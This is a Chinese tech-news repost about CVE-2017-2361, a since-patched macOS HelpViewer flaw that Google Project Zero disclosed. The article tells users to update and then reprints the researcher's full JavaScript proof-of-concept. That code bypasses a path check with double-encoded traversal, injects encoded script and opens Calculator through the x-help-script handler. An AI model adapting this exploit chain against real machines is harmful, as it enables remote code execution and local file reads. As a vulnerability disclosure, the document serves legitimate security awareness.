• 欢迎访问开心洋葱网站,在线教程,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入开心洋葱 QQ群
  • 为方便开心洋葱网用户,开心洋葱官网已经开启复制功能!
  • 欢迎访问开心洋葱网站,手机也能访问哦~欢迎加入开心洋葱多维思维学习平台 QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏开心洋葱吧~~~~~~~~~~~~~!
  • 由于近期流量激增,小站的ECS没能经的起亲们的访问,本站依然没有盈利,如果各位看如果觉着文字不错,还请看官给小站打个赏~~~~~~~~~~~~~!

macOS远程命令执行漏洞和windows一样也能弹计算器,一行JS代码

JavaScript 开心洋葱 2268次浏览 0个评论

最近,Google Project Zero公开披露了一个macOS系统的神漏洞,一行JS代码便可以让Mac电脑弹计算器。

这个神漏洞真的特别有趣,研究员发现macOS的内置应用HelpViewer有一个内部协议调用,可以打开本机上的任何文件,这个协议调用的路径检查有点缺陷,使用某些特定语法可以绕过,去打开攻击者指定的文件。

以上只能做到本地命令执行,研究员想了个法子,用JS代码去调用HelpViewer打开文件,间接做到远程执行。如果用户打开的某个网页中含有这段JS代码,那么这台Mac就被轻轻松松控制了。

macOS远程命令执行漏洞和windows一样也能弹计算器,一行JS代码

(图:根据研究员放出的poc代码,嘶吼在内部的电脑上成功演示)

该漏洞由Project Zero研究员、韩国安全天才lokihardt于去年12月发现,漏洞编号为CVE-2017-2361。苹果公司在今年1月23日更新的macOS 10.12.3修复了漏洞,大家更新到最新版即可不受影响。

顺便说下,“弹计算器”是安全圈的一种文化,表示用作演示的漏洞可以做到命令执行,完全控制这台电脑。过去,这种演示经常在Windows电脑上演,Mac、Linux被认为比Windows要安全很多。但随着近几年Mac电脑用户不断增多,盯着它的人多了,这类安全漏洞还将不断曝光,Mac用户过往那种“虚假”的安全感是时候收一收了。

嘶吼在此建议,普通Mac电脑用户应及时更新电脑系统,避免遭受损失。

附lokihardt提供的poc代码,大家自己玩一下就行,不要做坏事哦:

 
/*
OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read.
 
HelpViewer is an application and using WebView to show a help file.
You can see it simply by the command:
open /Applications/Safari.app/Contents/Resources/Safari.help
 
or using "help:" scheme:
help:openbook=com.apple.safari.help
help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html
 
HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest.
 
HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../".
 
PoC:
document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";
 
The attached poc will pop up a Calculator.
 
Tested on macOS Sierra 10.12.1 (16B2659).
 
*/
 
function main() {
    function second() {
        var f = document.createElement("iframe");
        f.onload = () => {
            f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app";
        };
 
        f.src = "help:openbook=com.apple.safari.help";
 
        document.documentElement.appendChild(f);
    }
 
    var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));nsecond();";
 
    document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url;
}
 
main();
 


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明macOS远程命令执行漏洞和windows一样也能弹计算器,一行JS代码
喜欢 (0)

您必须 登录 才能发表评论!

加载中……